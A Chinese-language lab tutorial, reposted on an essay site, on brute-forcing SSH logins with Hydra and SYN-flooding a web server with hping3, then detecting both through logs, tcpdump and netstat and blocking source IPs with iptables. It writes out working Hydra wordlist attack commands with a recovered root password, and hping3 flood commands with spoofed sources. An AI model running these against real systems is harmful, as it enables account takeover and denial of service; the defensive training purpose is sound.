700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > BM00014——|bookmarks|基于HydraDDOS模拟黑客暴力破解linux用户名和密码/设置防御规则|

BM00014——|bookmarks|基于HydraDDOS模拟黑客暴力破解linux用户名和密码/设置防御规则|

时间:2019-06-14 07:16:45

相关推荐

BM00014——|bookmarks|基于HydraDDOS模拟黑客暴力破解linux用户名和密码/设置防御规则|

一、Hydra软件概念剖析

Hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。 Hydra中文翻译为:九头蛇,它是一款爆破神器。可以对多种服务的账号和密码进行爆破,包括Web登录、数据库、SSH、FTP等服务。

Hydra支持Linux、Windows、Mac平台安装和部署,部署方法和步骤也非常简单,其中Kali Linux中自带Hydra。Hydra官 网:/thc-hydra

可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET,HTTP-FORM-POST,HTTP-GET,HTTP-HEAD,HTTP-PROXY,HTTPS-FORM-GET,HTTPS-FORM-POST,HTTPS-GET,HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL , NCP, NNTP, Oracle Listener , Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码。

二、黑客攻击Linux服务器&漏洞修复实战

1、在企业生产环境中,黑客攻击Linux服务器(业务系统、门户网站、数据等)常见的攻击手段,攻击方式有哪些呢?

SQL注入攻击CC网页攻击SYN Flood攻击勒索病毒攻击上传木马文件DDOS攻击暴力破解攻击

2、模拟Hydra暴力破解Linux服务器

设置防御规则抵挡黑客攻击&反攻击实战;

学习Linux技术,后期从事Linux运维方面的工作,作为运维人员最主要的工作职责之一:保障企业服务器、门户网站、业务系统、数据库等高效的、稳定的、安全的运行,一旦被黑客攻击,能够第一时间去解决漏洞&补丁修复等。

暴力破解攻击是黑客人员最常使用的攻击方式之一,暴力破解的实施门槛、难度很低,其攻击效果非常明显,一旦服务器被黑客暴力破解,直接导致服务器的用户名和密码被泄露。

暴力破解攻击原理:黑客使用暴力破解工具(Hydra)攻击Linux服务器,批量的、并发的读取用户名字典、密码字典文件,企图以字典中的用户名和密码远程SSH登录到目标服务器,扫描、试探出远程Linux服务器正确的用户名和密码。

Hydra是一款开源的、免费的暴力破解工具,是由THC世界著名的黑客组织对外开源的,Hydra主要是用于破解Linux服务器、门户网站、数据库、文件服务器等的用户名和密码。

三、Hydra部署安装操作:

1、基于CentOS7.x Linux操作系统,从0开始构建一套Hydra软件平台,主要是基于MAKE源码编译方式,部署的步骤和方法如下:

//1、从THC官网下载软件包(-c continue断点续传,-P 指定下载目录);[root@localhost ~]# wget -c /releases/hydra-8.1.tar.gz -P /usr/src/[root@localhost ~]# wget --no-check-certificate /releases/hydra-8.1.tar.gz//这条命令可以下载[root@localhost ~]# wget /vanhauser-thc/thc-hydra/archive/master.zip //GitHub地址下载//2、通过Tar工具对其解压缩(-x extract解压,-z gzip压缩格式,-v verbose详细显示,-f file文件属性);[root@localhost ~]# tar -xzvf /usr/src/thc-hydra-master.tar.gz[root@localhost ~]# cd thc-hydra-master///因为Hydra是基于C语言开发的源代码程序,默认是不能被Linux操作系统直接使用的,需借助C编译器将源代码文件编译生成二进制文件,所以需执行源代码软件包部署三个步骤。[root@localhost ~]# yum install -y libssh* gcc//提前部署Hydra编译时所需的依赖包、libssh库文件;//3、预编译;[root@localhost thc-hydra-master]# ./configure --prefix=/usr/local/hydra/Writing Makefile.in ...now type "make"//4、编译;[root@localhost thc-hydra-master]# makeNow type make install//5、安装;[root@localhost thc-hydra-master]# make install[root@localhost ~]# ls -l /usr/local/hydra/ //查看Hydra软件是否部署成功;hydra -l admin -p password ftp://[192.168.0.0/24]/ //可以查看到hydra的信息说明成功hydra -L logins.txt -P pws.txt -M targets.txt ssh[root@localhost ~]# /usr/local/hydra/bin/hydra -h //查看Hydra工具帮助信息或者版本;[root@localhost ~]# cat>>/etc/profile<<EOF //将Hydra程序bin目录加入到PATH环境变量中;export PATH=\$PATH:/usr/local/hydra/bin///执行命令时就不会再使用环境变量了EOF[root@localhost ~]# source /etc/profile //使其环境变量生效[root@localhost ~]# hydra//说明我们的环境变量生效了,hydra也部署成功

2、基于Hydra工具暴力破解远程Linux服务器:192.168.1.58,通过用户名和密码字典破解Linux服务器正确的用户名和密码,获取其超级特权权限,操作的指令如下:

攻击端IP:192.168.1.60

目标端IP:192.168.1.61

[root@localhost ~]# hydra -L users.txt -P passwd.txt -t 4 192.168.1.58 ssh -vV -s 22 -f[22][ssh] host: 192.168.1.58 login: root password: root//拿到用户名root和密码root-L,指定用户名字典文件;-P,指定密码字典文件;-t,指定并发读取用户名、密码字典线程数;-Ssh,指定攻击时使用的协议;-vV,显示攻击时的详细过程;-s,指定远程目标服务器的试探端口;-f,攻击到正确的用户名和密码,即退出。

四、设置防御规则抵挡黑客攻击&反攻击实战

1、黑客使用Hydra暴力破解Linux服务器,Linux服务器会做什么反应和操作呢?Linux服务器会做如下操作:

Linux会打开安全日志文件;通过安全日志文件记录黑客的IP地址;记录黑客攻击时使用的用户名,不会记录密码;记录黑客攻击的时间节点,攻击的状态成功or失败。

2、作为运维人员来讲,一旦Linux服务器遭受黑客暴力破解,根据服务器的操作、记录做出相应的策略和方法,具体能做哪些操作呢?

找出Linux安全日志文件名称和位置;查找、过滤出黑客的IP地址统计、分析哪些黑客攻击次数最高,将其加入到Linux黑名单对linux服务器进行漏洞修复和弥补,对黑客的IP实施反攻击。

2.1、查找Linux服务器安全日志文件的位置

[root@localhost ~]# find / -name "*secure*" //查找Linux系统打开的安全日志文件路径[root@localhost ~]# find / -name "*secure*"|grep -aivE "docker"//grep:匹配,-a:以文本方式匹配,-i忽略大小写 -V:反向选择,-E:多个参数,一起匹配[root@localhost ~]# find /var/ -name "*secure*"|grep -aivE "docker|man|python|jumpserver"/var/log/secure

2.2、查找,过滤出黑客的IP地址:

关键词:filed password;authentication failure关键词;可能是黑客的ip地址;表示远程ssh远程登录失败

[root@localhost ~]# more -14 /var/log/secure //匹配黑客异常登录的IP所在行的内容[root@localhost ~]# grep -aiE "Failed password" /var/log/secure //通过Filed password字段查找黑客主机信息//将黑客的IP匹配出来:[root@localhost ~]# grep -aiE "Failed password|authentication failure" /var/log/secure* |awk '{print $(NF-3)}' |moreOR[root@localhost ~]# grep -aiE "Failed password|authentication failure" /var/log/secure* |grep -aiowE "([0-9]{1,3}\.){3}[0-9]{1,3}"

2.3、如何将黑客IP访问次数排前20名的IP打印出来:

[root@localhost ~]# grep -aiE "Failed password|authentication failure" /var/log/secure* |grep -aiowE "([0-9]{1,3}\.){3}[0-9]{1,3}"|more //-o:单独打印给定值//打印登录失败的IP地址[root@localhost ~]# grep -aiE "Failed password|authentication failure" /var/log/secure* |grep -aiowE "([0-9]{1,3}\.){3}[0-9]{1,3}"|sort -n|uniq -c|sort -nr|more //sort:逆向排序//uniq:去重,-c:去重统计,[root@localhost ~]# grep -aiE "Failed password|authentication failure" /var/log/secure* |grep -aiowE "([0-9]{1,3}\.){3}[0-9]{1,3}"|sort -n|uniq -c|sort -nr|head -20 //打印前20名的ip地址; //head -20:排前20的ip;[root@localhost ~]# grep -aiE "Failed password|authentication failure" /var/log/secure* |grep -aiowE "([0-9]{1,3}\.){3}[0-9]{1,3}"|sort -n|uniq -c|sort -nr|head -20|awk '{print $2}' //print $2:打印第二列

2.4、将黑客的IP地址打印出来并加入到黑名单

[root@localhost ~]# for ip in $(grep -aiE "Failed password|authentication failure" /var/log/secure* |grep -aiowE "([0-9]{1,3}\.){3}[0-9]{1,3}"|sort -n|uniq -c|sort -nr|head -20|awk '{print $2}');do iptables -t filter -A INPUT -s $ip/32 -m tcp -p tcp --dport 22 -j DROP;done//-A顺序添加,-I指定特定列添加 -s:添加ip列表,

查看加入到黑名单的列表的IP地址:

[root@localhost ~]# iptables -t filter -L -n --line-numbers 1 DROP tcp -- 192.168.1.60 0.0.0.0/0 tcp dpt:22 2 DROP tcp -- 192.168.1.101 0.0.0.0/0 tcp dpt:22

一、DDOS攻击概念&黑客攻击

1、DDOS是分布式拒绝服务攻击,是黑客人员最常使用的攻击方式之一;

DDOS攻击的原理:是模拟数以万计的计算机(客户端),向目标服务器发起请求(HTTP,TCP,ICMP,ARP),企图耗尽目标服务器的资源,目标服务器资源耗尽从而拒绝提供任何服务。

2、DDOS SYN Flood攻击,也被称为洪水攻击,基于TCP协议去实现;

SYN Flood攻击原理:黑客人员模拟数以万计的计算机(客户端),批量的,并发的向目标服务器发起SYN新建请求+Seq序列号x,突然假死宕机,目标服务器收到之后会进行响应的处理,服务端也会向客户端发起SYN请求+Seq序列号Y+ACK确认号(x+1)。因为客户端突然假死和宕机,客户端是无法向服务端进行第三次握手的确认,所以服务端会一直处于等待状态,等客户端的确认,服务端为了维持数以万计的半连接请求而耗尽资源(CPU,MEM,DISK,NET),拒绝提供任何服务,连正常的用户请求也无法处理了。

3、DDOS攻击实战:

新版本的Hping既Hping3可使用Tcl语言编写脚本,实施了一个引擎,可用于对TCP/IP数据包进行基于字符串,人可读的描述,那样编程人员就能编写与很短的时间内对TCP/IP数据包执行底层处理和分析有的脚本,以通过Hping3来实施分部署服务攻击(DDOS)。使用Hping3从源头IP发起DOS攻击,这意味着:

你是用Hping3执行拒绝服务攻击(即DOS)你隐藏你的a$$(我是指你的源头IP地址)。你的目标及其看到的随机随机性源头IP地址中的源头,而不是IP地址(IP伪装)你的目标及其会在5分钟里面不堪重负,停止响应。

二、hping3程序make编译部署,yum部署;

1、yum部署Hping3软件库:

//1、设置第三方yum网络源:[root@localhost ~]# yum install epel-release -y[root@localhost ~]# ll /etc/yum.repos.d/epel*-rw-r--r-- 1 root root 1050 Nov 1 04:33 /etc/yum.repos.d/epel.repo-rw-r--r-- 1 root root 1149 Nov 1 04:33 /etc/yum.repos.d/epel-testing.repo//2、查看hping3是否有软件包:[root@localhost ~]# yum list |grep hping3hping3.x86_64 0.0.1105-24.el7 epel[root@localhost ~]# rpm -qa|grep -ai hping3 //rpm的方式安装hping3[root@localhost ~]# yum install -y hping3 //yum方式安装hping3//3、查看hping3 程序文件:[root@localhost ~]# find / -name hping3/usr/sbin/hping3

2、源码部署Hping3软件库:

//1、官网下载Hping3软件包:[root@localhost ~]# wget -c /hping3-1105.tar.gz[root@localhost ~]# tar -zxvf hping3-1105.tar.gz //tar工具解压程序包 [root@localhost ~]# cd hping3-1105/[root@localhost hping3-1105]# sed -i 's#i386#x86_64#g' bytesex.h [root@localhost hping3-1105]# mkdir -p /usr/local/include/net[root@localhost hping3-1105]# ln -sf /usr/include/pcap-bpf.h /usr/local/include/net/bpf.h//2、安装Hping3依赖包//TCL是一种语言脚本,最早称为“工具命令语言”“Tool Command Language”//而Libpcap是Unix/linux平台下包捕获函数包,大多数网络监控软件都以他为基础;安装tcl依赖包语言[root@localhost hping3-1105]# yum install -y tcl-devel libpcap-devel tcl libpcap Installed:libpcap-devel.x86_64 14:1.5.3-12.el7tcl-devel.x86_64 1:8.5.13-8.el7//3、预编译、编译、安装[root@localhost hping3-1105]# ./configure[root@localhost hping3-1105]# make[root@localhost hping3-1105]# make install//4、查看是否安装成功:[root@localhost hping3-1105]# ls -l /usr/sbin/hping*lrwxrwxrwx 1 root root16 Nov 28 20:44 /usr/sbin/hping -> /usr/sbin/hping3lrwxrwxrwx 1 root root16 Nov 28 20:44 /usr/sbin/hping2 -> /usr/sbin/hping3-rwxr-xr-x 1 root root 616432 Nov 28 20:44 /usr/sbin/hping3

3、Hping发起DDOS攻击,如何抓包分析并设置防御规则:

//hping3常用参数:-c:发送数据包的个数-d:每个数据包的大小-S:发送SYN数据包-w:TCP Windows大小-p:目标端口,你可以指定任意端口--flood:尽可能快的发送数据包--rand-source: 使用随机的IP地址;可以使用-a 或者--specify主机名://1、hping 在攻击端向目标服务器发起攻击 //--rand-source把攻击端IP地址暴露出来[root@localhost ~]# hping3 -S --flood --rand-source -p 80 192.168.1.61//2、目标服务器通过tcpdump抓包可以看到攻击端发送的DDOS攻击请求包抓取分析;[root@localhost ~]# yum install -y tcpdump[root@localhost ~]# tcpdump -i ens33 -nn port 80 //抓取攻击端服务器的包 //3、通过netstat分析网络状态:把tcp状态打印出来,并对状态码进行排序;uniq -c:去重[root@localhost ~]# netstat -an|awk '/^tcp/ {print $0,$NF}'|moretcp 00 0.0.0.0:9090 0.0.0.0:*LISTENLISTENtcp 00 0.0.0.0:111 0.0.0.0:*LISTENLISTENtcp 00 0.0.0.0:8080 0.0.0.0:*LISTENLISTEN//统计SYN_RECV状态数量:[root@localhost ~]# netstat -an|awk '/^tcp\>/ {print $NF}'|sort -n|uniq -c|sort -nr6 LISTEN1 ESTABLISHED//4、查看被攻击端系统的CPU、MEM使用情况[root@localhost ~]# toptop - 01:14:27 up 3:10, 2 users, load average: 0.00, 0.01, 0.05//5、示例[root@localhost ~]# hping3 -S --flood -p 80 192.168.1.61 //把攻击端服务器地址隐藏起来[root@localhost ~]# tcpdump -i ens33 -nn port 80 and host 192.168.1.60//抓取攻击端服务的包

三、模拟DDOS去攻击目标服务器:

1、模拟用户正常访问一个网站抓取包分析三次握手,四次挥手的状态:

//1、实验说明:// 攻击端IP:192.168.1.60// 服务端IP:192.168.1.61//2、在攻击端模拟正常访问网页:192.168.1.61:8080端口,查看现象,正常的三次握手四次挥手包正常状态:[root@localhost ~]# wget -c http://192.168.1.61:8080/ ---11-28 07:24:24-- http://192.168.1.61:8080/Connecting to 192.168.1.61:8080... connected.100%[=============================================================================================================>] 4,833 --.-K/s in 0s-11-28 07:24:24 (177 MB/s) - ‘index.html’ saved [4833/4833]//3、在服务端:192.168.1.61:抓取正常访问的包,查看包三次握手四次挥手状态信息:[root@localhost ~]# tcpdump -i ens33 -nn port 8080 and host 192.168.1.60 //抓取192.168.1.60:8080攻击端访问的包10:24:26.592128 IP 192.168.1.60.57944 > 192.168.1.61.8080: Flags [S], seq 191704061, win 29200, options [mss 1460,sackOK,TS val 25248004 ecr 0,nop,wscale 7], length 0//第一次握手:客户端通过IP:192.168.1.60.57944:(随机端口)>(请求的方向向服务端IP:8080):192.168.1.61:8080发起flags标记、SYN请求、seq序列号(随机):19170406110:24:26.592199 IP 192.168.1.61.8080 > 192.168.1.60.57944: Flags [S.], seq 173774385, ack 191704062, win 28960, options [mss 1460,sackOK,TS val 3435130 ecr 25248004,nop,wscale 7], length 0//第二次握手:服务端通过IP:192.168.1.61.8080:(服务端口>(向客户端IP:客户端的随机端口):192.168.1.60.57944发起flags标记,SYN请求,seq序列号(随机):173774385 //ACK确认号:客户端向服务端发起第一次请求时的seq+1=191704061+1=191704062(表示告诉客户端我已收到你的请求,我同意和你建立连接;同时我也向你发起SYN请求,发起序列号;序列号给包打个标记,防止数据传输中数据紊乱)10:24:26.592890 IP 192.168.1.60.57944 > 192.168.1.61.8080: Flags [.], ack 1, win 229, options [nop,nop,TS val 25248005 ecr 3435130], length 0//第三次握手:客户端给个回应(确认)使用的第一次握手时的随机端口号:ack=1或者ack=第一次握手seq+2;都表示三次握手建立成功)//三次握手建立成功之后,会进行正常的数据传输://以下为数据传输的过程:10:24:26.592938 IP 192.168.1.60.57944 > 192.168.1.61.8080: Flags [P.], seq 1:116, ack 1, win 229, options [nop,nop,TS val 25248005 ecr 3435130], length 115: HTTP: GET / HTTP/1.110:24:26.592951 IP 192.168.1.61.8080 > 192.168.1.60.57944: Flags [.], ack 116, win 227, options [nop,nop,TS val 3435131 ecr 25248005], length 0 //length:字节长度10:24:26.593331 IP 192.168.1.61.8080 > 192.168.1.60.57944: Flags [.], seq 1:4345, ack 116, win 227, options [nop,nop,TS val 3435131 ecr 25248005], length 4344: HTTP: HTTP/1.1 200 OK10:24:26.593483 IP 192.168.1.61.8080 > 192.168.1.60.57944: Flags [P.], seq 4345:5074, ack 116, win 227, options [nop,nop,TS val 3435131 ecr 25248005], length 729: HTTP

2、模拟黑客攻击一个网站抓取包分析三次握手,四次挥手的状态:

//1、实验说明:// 攻击端IP: 192.168.1.60// 被攻击端IP:192.168.1.61//2、在攻击端模拟正常访问网页:192.168.1.61:8080端口,查看现象,正常的三次握手四次挥手包正常状态:[root@localhost ~]# hping3 -S --flood -p 8080 192.168.1.61HPING 192.168.1.61 (ens33 192.168.1.61): S set, 40 headers + 0 data byteshping in flood mode, no replies will be shown//3、在服务端:192.168.1.61:抓取正常访问的包,查看包三次握手四次挥手状态信息:[root@localhost ~]# tcpdump -i ens33 -nn port 8080 and host 192.168.1.6000:51:18.509027 IP 192.168.1.60.3374 > 192.168.1.61.8080: Flags [S], seq 865254589, win 512, length 0//第一次握手:00:51:18.509037 IP 192.168.1.61.8080 > 192.168.1.60.3374: Flags [S.], seq 3312894581, ack 865254590, win 29200, options [mss 1460], length 0//第二次握手:00:51:18.509083 IP 192.168.1.60.3375 > 192.168.1.61.8080: Flags [S], seq 1487307596, win 512, length 0//第一次握手:00:51:18.509091 IP 192.168.1.61.8080 > 192.168.1.60.3375: Flags [S.], seq 1504167065, ack 1487307597, win 29200, options [mss 1460], length 0//第二次握手:00:51:18.509097 IP 192.168.1.60.3376 > 192.168.1.61.8080: Flags [S], seq 456755539, win 512, length 000:51:18.509103 IP 192.168.1.61.8080 > 192.168.1.60.3376: Flags [S.], seq 529484330, ack 456755540, win 29200, options [mss 1460], length 0//抓取包分析:抓包分析没有第三次握手客户端回应的情况,就可以确定我们的主机遭到黑客ddos攻击。//4、用netstat把tcp状态打印出来,并对状态吗进行排序,uniq -c :去重[root@localhost ~]# netstat -an|awk '/^tcp\>/ {print $NF}'SYN_RECVSYN_RECV[root@localhost ~]# netstat -an|awk '/^tcp/ {print $0,$NF}'|moretcp 00 192.168.1.61:8080 192.168.1.60:30950SYN_RECV SYN_RECVtcp 00 192.168.1.61:8080 192.168.1.60:28622SYN_RECV SYN_RECVtcp 00 192.168.1.61:8080 192.168.1.60:41631SYN_RECV SYN_RECV[root@localhost ~]# netstat -an|awk '/^tcp\>/ {print $NF}'|sort -n|uniq -c|sort -nr189 SYN_RECV6 LISTEN1 ESTABLISHED//5、查看被攻击端系统的CPU、MEM使用情况[root@localhost ~]# toptop - 01:25:59 up 3:22, 2 users, load average: 0.68, 0.23, 0.12Tasks: 123 total, 2 running, 121 sleeping, 0 stopped, 0 zombie%Cpu(s): 0.2 us, 1.3 sy, 0.0 ni, 58.4 id, 0.0 wa, 0.0 hi, 40.1 si, 0.0 stKiB Mem : 1863040 total, 1477716 free, 152276 used, 233048 buff/cacheKiB Swap: 4194300 total, 4194300 free, 0 used. 1556704 avail Mem

问题一:

问题现象:[root@localhost hping3-1105]# sed -i 's#i386#x86_64#g' bytesex.hsed: -e expression #1, char 16: unknown option to `s' //报错信息:报错是因为替换的字符串包含分隔符///所以这行改一下分割符既可以解决了;改成感叹号或者| 等其他来分割解决方案:[root@localhost hping3-1105]# sed -i 's!i386!x86_64!g' bytesex.h[root@localhost hping3-1105]# echo $?0[root@localhost hping3-1105]# sed -i 's|i386|x86_64|g' bytesex.h[root@localhost hping3-1105]# echo $?0

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。